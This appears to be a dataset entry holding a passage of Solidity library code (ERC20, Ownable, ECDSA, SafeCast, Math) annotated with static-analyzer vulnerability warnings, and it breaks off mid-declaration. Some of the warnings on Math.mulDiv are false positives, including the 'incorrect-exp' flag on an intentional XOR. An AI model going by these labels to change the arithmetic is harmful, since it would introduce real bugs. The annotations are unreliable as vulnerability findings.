"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function burn(uint256 value) public virtual {\n _burn(_msgSender(), value);\n }\n\n function burnFrom(address account, uint256 value) public virtual {\n _spendAllowance(account, _msgSender(), value);\n\n _burn(account, value);\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n error ECDSAInvalidSignature();\n\n error ECDSAInvalidSignatureLength(uint256 length);\n\n error ECDSAInvalidSignatureS(bytes32 s);\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly (\"memory-safe\") {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (\n address(0),\n RecoverError.InvalidSignatureLength,\n bytes32(signature.length)\n );\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n signature\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n unchecked {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n r,\n vs\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n v,\n r,\n s\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n\nlibrary Panic {\n uint256 internal constant GENERIC = 0x00;\n\n uint256 internal constant ASSERT = 0x01;\n\n uint256 internal constant UNDER_OVERFLOW = 0x11;\n\n uint256 internal constant DIVISION_BY_ZERO = 0x12;\n\n uint256 internal constant ENUM_CONVERSION_ERROR = 0x21;\n\n uint256 internal constant STORAGE_ENCODING_ERROR = 0x22;\n\n uint256 internal constant EMPTY_ARRAY_POP = 0x31;\n\n uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32;\n\n uint256 internal constant RESOURCE_ERROR = 0x41;\n\n uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51;\n\n function panic(uint256 code) internal pure {\n assembly (\"memory-safe\") {\n mstore(0x00, 0x4e487b71)\n\n mstore(0x20, code)\n\n revert(0x1c, 0x24)\n }\n }\n}\n\nlibrary SafeCast {\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n error SafeCastOverflowedIntToUint(int256 value);\n\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n error SafeCastOverflowedUintToInt(uint256 value);\n\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n\n return uint248(value);\n }\n\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n\n return uint240(value);\n }\n\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n\n return uint232(value);\n }\n\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n\n return uint224(value);\n }\n\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n\n return uint216(value);\n }\n\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n\n return uint208(value);\n }\n\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n\n return uint200(value);\n }\n\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n\n return uint192(value);\n }\n\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n\n return uint184(value);\n }\n\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n\n return uint176(value);\n }\n\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n\n return uint168(value);\n }\n\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n\n return uint160(value);\n }\n\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n\n return uint152(value);\n }\n\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n\n return uint144(value);\n }\n\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n\n return uint136(value);\n }\n\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n\n return uint128(value);\n }\n\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n\n return uint120(value);\n }\n\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n\n return uint112(value);\n }\n\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n\n return uint104(value);\n }\n\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n\n return uint96(value);\n }\n\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n\n return uint88(value);\n }\n\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n\n return uint80(value);\n }\n\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n\n return uint72(value);\n }\n\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n\n return uint64(value);\n }\n\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n\n return uint56(value);\n }\n\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n\n return uint48(value);\n }\n\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n\n return uint40(value);\n }\n\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n\n return uint32(value);\n }\n\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n\n return uint24(value);\n }\n\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n\n return uint16(value);\n }\n\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n\n return uint8(value);\n }\n\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n\n return uint256(value);\n }\n\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n function toInt256(uint256 value) internal pure returns (int256) {\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n\n return int256(value);\n }\n\n function toUint(bool b) internal pure returns (uint256 u) {\n assembly (\"memory-safe\") {\n u := iszero(iszero(b))\n }\n }\n}\n\nlibrary Math {\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function ternary(\n bool condition,\n uint256 a,\n uint256 b\n ) internal pure returns (uint256) {\n unchecked {\n return b ^ ((a ^ b) * SafeCast.toUint(condition));\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a > b, a, b);\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a < b, a, b);\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n unchecked {\n return SafeCast.toUint(a > 0) * ((a - 1) / b + 1);\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 262fb01): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 262fb01: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8e203fe): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 8e203fe: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 78ccd6d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 78ccd6d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f547684): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for f547684: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a588e6d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for a588e6d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a9871ed): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for a9871ed: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 80bdfac): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 80bdfac: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9ee2135): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 9ee2135: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 750b284): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 750b284: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n Panic.panic(\n ternary(\n denominator == 0,\n Panic.DIVISION_BY_ZERO,\n Panic.UNDER_OVERFLOW\n )\n );\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 262fb01\n\t\t\t\t// divide-before-multiply | ID: 8e203fe\n\t\t\t\t// divide-before-multiply | ID: 78ccd6d\n\t\t\t\t// divide-before-multiply | ID: f547684\n\t\t\t\t// divide-before-multiply | ID: a588e6d\n\t\t\t\t// divide-before-multiply | ID: a9871ed\n\t\t\t\t// divide-before-multiply | ID: 80bdfac\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 9ee2135\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: f547684\n\t\t\t// incorrect-exp | ID: 750b284\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: a9871ed\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 8e203fe\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 78ccd6d\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 80bdfac\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: a588e6d\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 262fb01\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 9ee2135\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n return\n mulDiv(x, y, denominator) +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ff9ca8b): Math.invMod(uint256,uint256) performs a multiplication on the result of a division quotient = gcd / remainder (gcd,remainder) = (remainder,gcd remainder * quotient)\n\t// Recommendation for ff9ca8b: Consider ordering multiplication before division.\n function invMod(uint256 a, uint256 n) internal pure returns (uint256) {\n unchecked {\n if (n == 0) return 0;\n\n uint256 remainder = a % n;\n\n uint256 gcd = n;\n\n int256 x = 0;\n\n int256 y = 1;\n\n while (remainder != 0) {\n\t\t\t\t// divide-before-multiply | ID: ff9ca8b\n uint256 quotient = gcd / remainder;\n\n\t\t\t\t// divide-before-multiply | ID: ff9ca8b\n (gcd, remainder) = (remainder, gcd - remainder * quotient);\n\n (x, y) = (y, x - y * int256(quotient));\n }\n\n if (gcd != 1) return 0;\n\n return ternary(x < 0, n - uint256(-x), uint256(x));\n }\n }\n\n function 